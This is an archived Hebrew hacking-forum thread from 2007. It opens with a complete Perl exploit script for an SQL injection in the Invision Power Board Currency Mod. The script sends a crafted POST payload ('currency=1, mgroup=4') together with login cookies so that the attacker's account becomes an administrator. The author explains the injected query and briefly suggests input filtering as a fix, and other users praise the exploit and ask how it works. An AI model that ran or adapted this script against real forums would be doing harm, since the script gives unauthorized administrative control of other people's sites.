Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > Invision Power Board Currency Mod(edit) SQL Inject

28/03/2007 23:29:39 Pr0T3cT10n
קוד:

#!/usr/bin/perl
#########################################################################
# Invision Power Board Currency Mod(edit) SQL injection. #
# Bug found by Pr0T3cT10n, KamikaZ Security Team #
# The exploit is updating your user to an admin account #
# pr0t3ct10n@gmail.com , http://www.kamikaz-team.com #
# **YOU SHOULD HAVE CURRENCY EDIT ACCESS!** #
#########################################################################
use IO::Socket;
use Digest::MD5 qw(md5_hex);

$host = $ARGV[0];
$path = $ARGV[1];
$id = $ARGV[2];
$passwd = $ARGV[3];

if(!$ARGV[3])
{
print "#################################################\n";
print "## IPB Currency Mod SQL injection Exploit. ##\n";
print "## Discoverd By Pr0T3cT10n. ##\n";
print "#################################################\n";
print "$0 [host] [path] [your id] [your password]\n";
print "$0 host.com /forum 567 123456\n";
print "#################################################\n";
exit();
}
print "[~] Connecting $host:80...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp" ,
PeerAddr => $host ,
PeerPort => "80") or die("[-] Connection faild.\n");
print "[+] Connected.\n[~] Sending POST information...\n";
$pack.= "POST " . $path . "/index.php?act=modcp&CODE=docurrencyedit&memberid=" . $id . " HTTP/1.1\r\n";
$pack.= "Host: " . $host . "\r\n";
$pack.= "User-Agent: KamikaZ_Agent\r\n";
$pack.= "Accept: */*\r\n";
$pack.= "Cookie: member_id=" . $id . "; pass_hash=" . md5_hex($passwd) . "\r\n";
$pack.= "Keep-Alive: 300\r\n";
$pack.= "Connection: keep-alive\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: 24\r\n\r\n";
$pack.= "currency=1%20%2Cmgroup=4"; #UPDATE ibf_members SET currency=1 ,mgroup=4 WHERE id=’$id’

print $socket $pack;

while($res = <$socket>)
{
if($res =~ /<table align=’center’ cellpadding="4" class="tablefill">/)
{
print("[+] succeed.\n");
exit();
}
}
print("[-] Faild.\n");
exit();


אוקי, אני חושב שאני אסביר קצת על הבאג ודרך הניצול ותיקון.
אוקי, כאשר אתה בא למשתמש ועורך לו את הנקודות, השאילתא אמורה להתבצע כך:


קוד:
UPDATE ibf_members SET currency=1 WHERE id=’$id’

שימו לב, שאילתא זו תעדכן את כמוך הנקודות של המשתמש ל : 1.
אבל אם נכתוב כך (בעריכת נקודות) :

קוד:
1, mgroup=4

ה-mgroup זה הקבוצת משתמש, 4 זה ברירת מחדל ברוב הפורומים זה אדמין.
השאילתא תיהיה כך :
קוד:
UPDATE ibf_members SET currency=1, mgroup=4 WHERE id=’$id’

מה שבעצם יביא לעידכון של הקבוצה שבה המשתמש נמצא לקבוצה מספר 4 ואת כמות הנקודות של המשתמש ל-1.
אוקי, זה היה סיקור קטן על הבאג עצמו, ניצול? כל אחד יודע כמעט, הרצת קובץ PERL פשוט.
תיקון הבאג. בכדי לתקן את הבאג הינכם אמורים לחסום כל דבר אחר חוץ ממספרים, ולנסות לסנן תווים כמו פסיק, שווה, או כל דבר אחר שעולה בדעתכם שאפשר לעדכן איתו.
Pr0T3cT10n.[ההודעה נערכה על-ידי Pr0T3cT10n ב-06/04/2007 03:15:39]
29/03/2007 20:09:04 HLL
יפה מאוד, סחטיקה אבל מה עם קצת פרטים? גרסא? דרך הניצול? וכו’?[ההודעה נערכה על-ידי HLL ב-29/03/2007 20:09:24]
30/03/2007 14:13:50 Sn4k3
הגרסאות בדרך כלל 1.3-1.4 או בכל פורום שיש בו את המוד המסויים הזה(מוד נקודות)
דרך הניצול אפשר לראות שהוא מנצל כאן באג שהוא מצא אם תרצה להבין לעומק תנתח את הקוד PERL.
30/03/2007 17:55:39 T4uSBaZ
סטחיין על גילוי הבאג..

לפי מה שהבנתי הוא מנצל באג מסויים במערכות בהם יש את המוד modcp (נקודות?) שבו אפשר להריץ שאילתות sql - ולפיכך הבאג הוא sql injection.
כנראה והמוד הזה מחייב בדיקה שהמשתמש אכן מחובר (והוא לא בודק האם המשתמש הוא מנהל הוא לא) ולכן יש פה שליחת COOKIES..

כל הכבוד..
01/04/2007 17:05:08 B-HFH
יפה מאוד , אבל בשביל מה בנית אקספלויט בפרל?
אין צורך בזה.
02/04/2007 16:37:10 Nuuuuuu
יפה מאוד ..
B-HFH.. צודק.. זה מאפר בערך לכל סקרפט קידי להריץ את זה בקלות.. גם אם הוא לא מבין מה הולך פה..
אבל זה "החור שלו" אז מותר לו להחליט :] חחח

ויש לי שאלה..
לגבי הPACK. כמובן מועברים כל הנתונים לשרת כולל קוקי וכו’..
ומה עושה בדיוק השורה האחרונה ?
$pack.= "currency=1%20%2Cmgroup=4"; #UPDATE ibf_members SET currency=1 ,mgroup=4 WHERE id=’$id’


וגם הלולאת while והif
תודה לעונים.
אני לא שוס בפרל עדיין..
02/04/2007 17:07:27 V[i]RuS
מה שאילתה הזאת:
UPDATE ibf_members SET currency=1 ,mgroup=4 WHERE id=’$id’
אתה יכול להבין שזה עושה UPDATE ושם את הערך 1 בCOLUMN CURRENCY וזה מה שמביא לך אדמין..
הID הוא משתנה שהמשתמש בוחר על איזה ID להריץ את השאילתה UPDATE.
03/04/2007 00:01:15 Nuuuuuu
ממ כן.. החלק של השאילתא היה יותר ברור.. למרות שדווקא מה שלא היה ברור לי זה שהcurrency הוא מה שמביא לי אדמין ולא הmgroup..

החלק היותר חשוב בשאלה שלי הוא למה זה רשום דווקא בחלק הזה בpack.
כאילו.. כ שורה מסמנת משהו אחר.. הכתובת, הנתיב, האייג’נט..
מה השורה הזאת מסמלת ?

וכמובן השאלה השניה שלי לגביי הלולאות..
03/04/2007 00:08:09 V[i]RuS
עכשיו שמתי לב שהוא מעדכן שתי טורים MGROUP ו CURRENCY כך שהMGROUP כנראה מביא לך אדמין
06/04/2007 03:08:37 Pr0T3cT10n
אוקי, אני חושב שאני אסביר את לכל אלו שלא הבינו.
אוקי, כאשר אתה בא למשתמש ועורך לו את הנקודות, השאילתא אמורה להתבצע כך:
קוד:
UPDATE ibf_members SET currency=1 WHERE id=’$id’

שימו לב, שאילתא זו תעדכן את כמוך הנקודות של המשתמש ל : 1.
אבל אם נכתוב כך (בעריכת נקודות) :
קוד:
1, mgroup=4

ה-mgroup זה הקבוצת משתמש, 4 זה ברירת מחדל ברוב הפורומים זה אדמין.
השאילתא תיהיה כך :
קוד:
UPDATE ibf_members SET currency=1, mgroup=4 WHERE id=’$id’

מה שבעצם יביא לעידכון של הקבוצה שבה המשתמש נמצא לקבוצה מספר 4 ואת כמות הנקודות של המשתמש ל-1.
מקווה שהיה דיי ברור לכל אלו שלא הבינו.
Pr0T3cT10n.
עמודים: 1